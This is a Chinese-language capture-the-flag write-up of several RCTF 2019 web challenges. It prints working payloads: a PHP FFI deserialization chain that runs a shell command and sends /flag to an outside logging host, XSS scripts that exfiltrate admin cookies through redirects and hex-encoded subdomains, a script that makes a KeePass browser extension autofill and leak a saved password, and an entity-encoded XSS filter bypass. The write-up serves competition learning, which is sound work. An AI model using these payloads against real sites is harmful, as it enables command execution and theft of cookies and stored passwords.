RCTF 2019 WEB writeup
http://nextphp.2019.rctf.rois.io
0x01 nextphp
题目
http://nextphp.2019.rctf.rois.io
<?phpif (isset($_GET['a'])) { eval($_GET['a']);} else { show_source(__FILE__);}解题
直接给了一句话,先查看下 phpinfo
-
version: 7.4.0-dev
-
disable_funtions:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
基本都禁用完了,看看目录下还有什么,发现有个 preload.php
http://nextphp.2019.rctf.rois.io/index.php?a=var_dump(scandir(getcwd()));view-source:http://nextphp.2019.rctf.rois.io/index.php?a=readfile('preload.php');<?phpfinal class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ];
private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); }
public function __serialize(): array { return $this->data; }
public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); }
public function serialize (): string { return serialize($this->data); }
public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); }
public function __get ($key) { return $this->data[$key]; }
public function __set ($key, $value) { throw new \Exception('No implemented'); }
public function __construct () { throw new \Exception('No implemented'); }}看到文件名和文件内容推测应该是被预加载的用于序列化的文件
再来看看7.4.0会有什么新特性可能与之相关
目前根据这两条特性可以得出,后端已经预加载class A,可以调用unserialize反序列化,并通过设置$data内容实现函数调用,但是在这里仍然不能绕过 disable_functions 的限制
然而还有一个特性引起了注意,FFI

通过 FFI 可以调用 libc 中的函数以及 php 函数
尝试构造
final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(const char *command);' ];
public function serialize (): string { return serialize($this->data); }
public function unserialize($payload) { $this->data = unserialize($payload); }}
$a = new A();echo serialize($a);执行命令
http://nextphp.2019.rctf.rois.io/index.php?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');$a->__serialize()['ret']->system('curl xxxxx.ceye.io/`cat /flag`');Flag
RCTF{Do_y0u_l1ke_php74?}0x02 jail
题目

解题
功能点:
- https://jail.2019.rctf.rois.io/?action=feedback
没有过滤,应该是用于配合?action=post打存储型 XSS - https://jail.2019.rctf.rois.io/?action=profile
允许上传图片作为头像
在 cookie 中可以看到hint,结合功能看应该是设法打 admin 的 cookie

在?action=post发现有以下额外的限制
-
CSP
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self'; -
事件监听
<script>window.addEventListener("beforeunload", function (event) {event.returnValue = "Are you sure want to exit?"return "Are you sure want to exit?"})Object.freeze(document.location)</script>
简单分析下这些限制起到的作用
- CSP:由于 sandbox 的存在,除将
<iframe>内容视为正常来源、允许上下文 js 外,禁止弹出窗口(allow-popups)以及提交 form 表单(allow-forms),限定了外部资源的引用,例如<img src>,background: url(),<script src>,<embed src>,<iframe src>,new XMLHttpRequest() - 事件监听:当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。
在不同平台上测试以下 payload
<img src=1 onerror="location.href='http://xxxxx.ceye.io/?'+document.cookie">Chrome v74.0.3729.169

Firefox v64.0.2

为啥ff就能成?暂时反馈如下,ff不能 freeze document.location,原因待更新

尝试过后可以判定 bot 使用 chrome,那么现在就是考虑在Chrome下如何突破跳转限制
首先看下 freeze 的定义
如该方法 MDN 的描述所述,倘若一个对象的属性是一个对象,那么对这个外部对象进行冻结,内部对象的属性是依旧可以改变的,这就叫浅冻结,若把外部对象冻结的同时把其所有内部对象甚至是内部的内部无限延伸的对象属性也冻结了,这就叫深冻结。
但经测试,修改location.host以及location.hostname依然可以执行跳转.
注意每级域名长度限制是 63 个字符,所以要分割多次获取
<script>function bin2hex(s) { var i, l, o = "", n; s += ""; for (i = 0, l = s.length; i < l; i++) { n = s.charCodeAt(i).toString(16); o += n.length < 2 ? "0" + n : n; } return o;}location.host = bin2hex(document.cookie).substr(0, 60) + '.xxxxx.ceye.io';</script>这里犯傻先用了window.btoa,大小写被忽略了 Orz

Flag
flag=RCTF{welc0me_t0_the_chaos1d}0x03 password
题目

解题
提示所述应该是获取表单密码,不过还是没什么头绪,按照提示使用document.body.innerHTML简单看一下
<input type="username" name="username"><input type="password" name="password"><script> function bin2hex(s) { var i, l, o = "", n; s += ""; for (i = 0, l = s.length; i < l; i++) { n = s.charCodeAt(i).toString(16); o += n.length < 2 ? "0" + n : n; } return o; }; setTimeout(function () { location.host = bin2hex(document.body.innerHTML).substr(0, 60) + '.xxxxx.ceye.io'; }, 1000);</script>打回来的内容可以看到多了data-cip-id以及cip-ui-*
<input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off"><span role="status" aria-live="polite" class="cip-ui-helper-hidden-accessible"></span><input type="password"在 google 一番后,发现应该是 ChromeIPass 和 KeePass

这里一点一点打内容太累了,根据这篇WP的方法,需要注意的一点,因为URL 有长度限制,内容过长时需要substr分割
完整获取到的页面大致如下
<input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off" /><span role="status" aria-live="polite" class="cip-ui-helper-hidden-accessible">2 results are available, use up and down arrow keys to navigate.</span><input type="password" name="password" id="password" data-cip-id="password" /><div class="cip-genpw-icon cip-icon-key-small" style="z-index: 2; top: 10px; left: 346.078px;"></div><div class="cip-ui-dialog cip-ui-widget cip-ui-widget-content cip-ui-corner-all cip-ui-front cip-ui-draggable" tabindex="-1" role="dialog" aria-describedby="cip-genpw-dialog" aria-labelledby="cip-ui-id-1" style="display: none;"> <div class="cip-ui-dialog-titlebar cip-ui-widget-header cip-ui-corner-all cip-ui-helper-clearfix"> <span id="cip-ui-id-1" class="cip-ui-dialog-title">Password Generator</span> <button class="cip-ui-button cip-ui-widget cip-ui-state-default cip-ui-corner-all cip-ui-button-icon-only cip-ui-dialog-titlebar-close" role="button" aria-disabled="false" title="×"> <span class="cip-ui-button-icon-primary cip-ui-icon cip-ui-icon-closethick"></span> <span class="cip-ui-button-text">×</span></button> </div> <div id="cip-genpw-dialog" class="cip-ui-dialog-content cip-ui-widget-content" style=""> <div class="cip-genpw-clearfix"> <button id="cip-genpw-btn-generate" class="b2c-btn b2c-btn-primary b2c-btn-small" style="float: left;">Generate</button> <button id="cip-genpw-btn-clipboard" class="b2c-btn b2c-btn-small" style="float: right;">Copy to clipboard</button></div> <div class="b2c-input-append cip-genpw-password-frame"> <input id="cip-genpw-textfield-password" type="text" class="cip-genpw-textfield" /> <span class="b2c-add-on" id="cip-genpw-quality">123 Bits</span></div> <label class="cip-genpw-label"> <input id="cip-genpw-checkbox-next-field" type="checkbox" class="cip-genpw-checkbox" />also fill in the next password-field</label> <button id="cip-genpw-btn-fillin" class="b2c-btn b2c-btn-small">Fill in & copy to clipboard</button></div></div><ul class="cip-ui-autocomplete cip-ui-front cip-ui-menu cip-ui-widget cip-ui-widget-content cip-ui-corner-all" id="cip-ui-id-2" tabindex="0" style="display: none;"></ul>模拟点击 username 框
<input type="username" name="username"><input type="password" name="password" id="password"><script> setTimeout(()=>{document.querySelector('[type=username]').click()},1000); setTimeout(() => {navigator.serviceWorker.register('/uploads/6ecb537723acc2ca18d5fae428c2d552.js?' + encodeURIComponent(document.body.innerHTML.substr(2500,800)), {scope:'/uploads/'});}, 1500)</script>在页面最下方<ul>中获取到的 Menu 如下,cip-ui-id-4的密码为真的 flag
<ul class="cip-ui-autocomplete cip-ui-front cip-ui-menu cip-ui-widget cip-ui-widget-content cip-ui-corner-all" id="cip-ui-id-2" tabindex="0" style="display: block; width: 233px; top: 29px; left: 8px; z-index: 2147483636;"> <li class="cip-ui-menu-item" role="presentation"> <a id="cip-ui-id-3" class="cip-ui-corner-all" tabindex="-1">fake_flag (http://jail.2019.rctf.rois.io/)</a></li> <li class="cip-ui-menu-item" role="presentation"> <a id="cip-ui-id-4" class="cip-ui-corner-all" tabindex="-1">flag (http://jail.2019.rctf.rois.io/)</a></li></ul>直接打密码
<input type="username" name="username"><input type="password" name="password" id="password"><script> setTimeout(()=>{document.querySelector('[type=username]').click()},500); setTimeout(()=>{document.getElementById('cip-ui-id-4').click()}, 1000); setTimeout(() => {navigator.serviceWorker.register('/uploads/6ecb537723acc2ca18d5fae428c2d552.js?' + encodeURIComponent(document.getElementById('password').value), {scope:'/uploads/'});}, 1500)</script>Flag
rctf{kpHttp_m4y_leak_ur_pwd}0x04 calcalcalc
emmm 这题待研究,还看不懂
0x05 rBlog
题目

解题
查看源码能够看到rblog.js,源码如下
axios.get('/api/v2/posts').then(resp => { let html = '' if (resp.data.status) { for (let i of resp.data.data) { html += `<a href="${i.markdown_url}">${i.title}</a>\r\n` } } else { html += `;_; ${resp.message}` } document.body.children[0].innerHTML = html})结合提示 jsonp,试一下 callback,之后怎么测参数都没有动静

修改参数不行,那就尝试修改 api,关注到header,这种情况下是不能直接执行 xss 的
content-type: application/json那既然这个是 v2 版本,往下改改呢,比如 v1?(注意到一直存在的 CSP)
content-security-policy: default-src 'self'; object-src 'none'content-type: text/html; charset=UTF-8但是这种情况下仍然过滤了"、/、\,需要想办法Bypass,简单测试 html 实体是可以的,但是仍然没法绕过 chrome 的 filter,但是简单想下 filter 原理,类似于半自动检测 xss,输入的代码和返回的一样那么就会被拦截,但是只要稍有不同就会放过,比如之前使用的注释、换行等等。
这里测试后发现只要使用中文在返回时使用 unicode 编码导致前后不一即可绕过
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=(各种中文)%26%2360%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2332%3b%26%23115%3b%26%23114%3b%26%2399%3b%26%2361%3b%26%2334%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%23115%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23114%3b%26%2398%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2346%3b%26%2350%3b%26%2348%3b%26%2349%3b%26%2357%3b%26%2346%3b%26%23114%3b%26%2399%3b%26%23116%3b%26%23102%3b%26%2346%3b%26%23114%3b%26%23111%3b%26%23105%3b%26%23115%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2397%3b%26%23112%3b%26%23105%3b%26%2347%3b%26%23118%3b%26%2349%3b%26%2347%3b%26%23112%3b%26%23111%3b%26%23115%3b%26%23116%3b%26%23115%3b%26%2363%3b%26%2399%3b%26%2397%3b%26%23108%3b%26%23108%3b%26%2398%3b%26%2397%3b%26%2399%3b%26%23107%3b%26%2361%3b%26%23112%3b%26%2397%3b%26%23114%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110%3b%26%2346%3b%26%23104%3b%26%23114%3b%26%23101%3b%26%23102%3b%26%2361%3b%26%2339%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%2346%3b%26%2399%3b%26%23101%3b%26%23121%3b%26%23101%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2363%3b%26%2339%3b%26%2337%3b%26%2350%3b%26%2398%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b%26%2359%3b%26%2399%3b%26%23111%3b%26%23110%3b%26%23115%3b%26%23111%3b%26%23108%3b%26%23101%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2334%3b%26%2362%3b%26%2360%3b%26%2347%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2362%3b%3eFlag
RCTF{uwu_easy_bypass_with_escaped_unicode}0x06 ez4cr
回来环境已关。。。